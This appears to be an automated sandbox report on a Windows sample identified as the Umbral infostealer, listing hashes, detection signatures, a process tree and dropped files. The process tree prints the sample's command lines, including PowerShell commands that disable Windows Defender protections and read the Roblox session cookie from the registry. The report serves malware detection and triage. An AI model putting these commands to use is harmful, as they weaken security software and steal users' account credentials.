Analysis

  • max time kernel
    10s
  • max time network
    8s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-05-2024 02:14

General

  • Target

    PeIDK890XoXo.exe

  • Size

    265KB

  • MD5

    5920cf2aaa91ab76acd20fd132972402

  • SHA1

    4f3d461f1b419839e4527f0e21b5779685c63e27

  • SHA256

    8c7cc262eeb367bf7a4fb1539c0af24a2c363930249e8945048808c27fe687c5

  • SHA512

    bb3b0ea84a232c7d6bde426f5da5ef15fcaba4227a705b727e9e6e0a45a3a5b819a7be309f542b6574f3d351accd34d5c131d186b5a352ba0c263113faceb9d5

  • SSDEEP

    6144:FloZM+rIkd8g+EtXHkv/iD4M1vvGELns4d42X3WxRb8e1mUi2k:HoZtL+EP8M1vvGELns4d42X3Wz62k

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PeIDK890XoXo.exe
    "C:\Users\Admin\AppData\Local\Temp\PeIDK890XoXo.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3292
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\PeIDK890XoXo.exe"
      2⤵
      • Views/modifies file attributes
      PID:4004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PeIDK890XoXo.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4936
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4052
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:1236
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:4476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4392
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:1140
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\PeIDK890XoXo.exe" && pause
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3636
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • Runs ping.exe
            PID:2880

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        d28a889fd956d5cb3accfbaf1143eb6f

        SHA1

        157ba54b365341f8ff06707d996b3635da8446f7

        SHA256

        21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

        SHA512

        0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        28ef595a6cc9f47b8eccb22d4ed50d6c

        SHA1

        4335de707324b15eba79017938c3da2752d3eea5

        SHA256

        3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9

        SHA512

        687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        548dd08570d121a65e82abb7171cae1c

        SHA1

        1a1b5084b3a78f3acd0d811cc79dbcac121217ab

        SHA256

        cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

        SHA512

        37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        ac057a92f4b62d8880169af0693ef5b2

        SHA1

        66e7c7834c5dae5cec863ccd69403150d05841f4

        SHA256

        7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed

        SHA512

        d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vp2sozgy.uuk.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1736-68-0x000002365F810000-0x000002365F81A000-memory.dmp

        Filesize

        40KB

      • memory/1736-35-0x000002365F880000-0x000002365F89E000-memory.dmp

        Filesize

        120KB

      • memory/1736-87-0x00007FFF7C4A0000-0x00007FFF7CF61000-memory.dmp

        Filesize

        10.8MB

      • memory/1736-69-0x0000023678480000-0x0000023678492000-memory.dmp

        Filesize

        72KB

      • memory/1736-2-0x00007FFF7C4A0000-0x00007FFF7CF61000-memory.dmp

        Filesize

        10.8MB

      • memory/1736-33-0x0000023678300000-0x0000023678376000-memory.dmp

        Filesize

        472KB

      • memory/1736-34-0x000002365F830000-0x000002365F880000-memory.dmp

        Filesize

        320KB

      • memory/1736-0-0x00007FFF7C4A3000-0x00007FFF7C4A5000-memory.dmp

        Filesize

        8KB

      • memory/1736-1-0x000002365DB70000-0x000002365DBB0000-memory.dmp

        Filesize

        256KB

      • memory/2768-15-0x00007FFF7C4A0000-0x00007FFF7CF61000-memory.dmp

        Filesize

        10.8MB

      • memory/2768-14-0x00007FFF7C4A0000-0x00007FFF7CF61000-memory.dmp

        Filesize

        10.8MB

      • memory/2768-3-0x00007FFF7C4A0000-0x00007FFF7CF61000-memory.dmp

        Filesize

        10.8MB

      • memory/2768-9-0x000001BF07E70000-0x000001BF07E92000-memory.dmp

        Filesize

        136KB

      • memory/2768-18-0x00007FFF7C4A0000-0x00007FFF7CF61000-memory.dmp

        Filesize

        10.8MB